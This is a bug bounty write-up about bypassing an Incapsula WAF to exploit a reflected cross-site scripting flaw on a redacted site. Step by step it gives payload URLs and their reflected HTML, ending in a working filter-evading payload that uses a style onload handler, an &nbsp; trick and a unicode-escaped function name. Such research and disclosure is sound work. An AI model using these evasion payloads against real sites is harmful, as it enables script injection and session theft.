XSS - Incapsula bypass

29/10/2019

This is a little write-up about how I bypassed an Incapsula WAF to exploit a Cross-Site Scripting (XSS) vulnerability on a private bug bounty program.


There was a page on this private program's website where the URL path was reflected on the response body and wasn't being properly encoded, which could result in a possible XSS vulnerability.

When using a " in the path, it was possible to escape the href attribute from an a element.

https://redacted.com/path/?site"kkk
<a href="https://redacted.com/?site"kkk=&etsi=1557&k3e=_main">

It was also possible to use <, > and / characters, which should mean that getting a XSS was easy.

https://redacted.com/path/?site"><x>aa</x>
<a href="https://redacted.com/?site"><x>aa</x>=&etsi=1557&k3e=_main">

But when trying a default payload a 403 error is returned.

https://redacted.com/path/?site"><script>alert()</script>

403 Error

I tried with different payloads and stuck with a style element with an onload attribute that executes the javascript code, which seemed to not be filtered.

https://redacted.com/path/?site"><style onload=alert()></style>
<a href="https://redacted.com/?site"><style_onload=alert%28%29%3E%3C%2Fstyle%3E&etsi=1557&k3e=_main">

There are two problems here:

The spaces issue is easy to resolve by using / instead.

https://redacted.com/path/?site"><style/onload=alert()></style>
<a href="https://redacted.com/?site"><style/onload=alert%28%29%3E%3C%2Fstyle%3E&etsi=1557&k3e=_main">

But to get a working payload, non-encoded characters are needed after the = character. So I started trying with tons of symbols and found that every time a & was reflected, a = was placed before it and the payload wasn't encoded.

https://redacted.com/path/?site">oo&kk>
<a href="https://redacted.com/path/?site">oo=&kk>=&countrystr_ch=belgium&lang=7">

Therefore, it was possible to use a & after onload to automatically add the desired =.

https://redacted.com/path/?site"><style/onload&alert()></style>
<a href="https://redacted.com/?site"><style/onload=&alert()></style>=&etsi=1557&k3e=_main">

But &alert() is not a valid javascript code and it's not possible to execute the alert.

SyntaxError: expected expression, got '&'

Here is when HTML encoding becomes useful, &nbsp; is the same as writing a whitespace, being able to get a valid javascript code ( alert()).

https://redacted.com/path/?site"><style/onload&nbsp;alert()></style>

403 Error

Unfortunately this was blocked by the WAF, so I tried with different javascript functions instead of alert.

https://redacted.com/path/?site"><style/onload&nbsp;confirm()></style>

403 Error

Same error.

But finally, it is possible to bypass this WAF restriction by using a unicode sequence since javascript interprets \u006e as a n, then co\u006efirm = confirm.

https://redacted.com/path/?site"><style/onload&nbsp;co\u006efirm()></style>
<a href="https://redacted.com/?site"><style/onload=&nbsp;co\u006efirm()></style>=&etsi=1557&k3e=_main">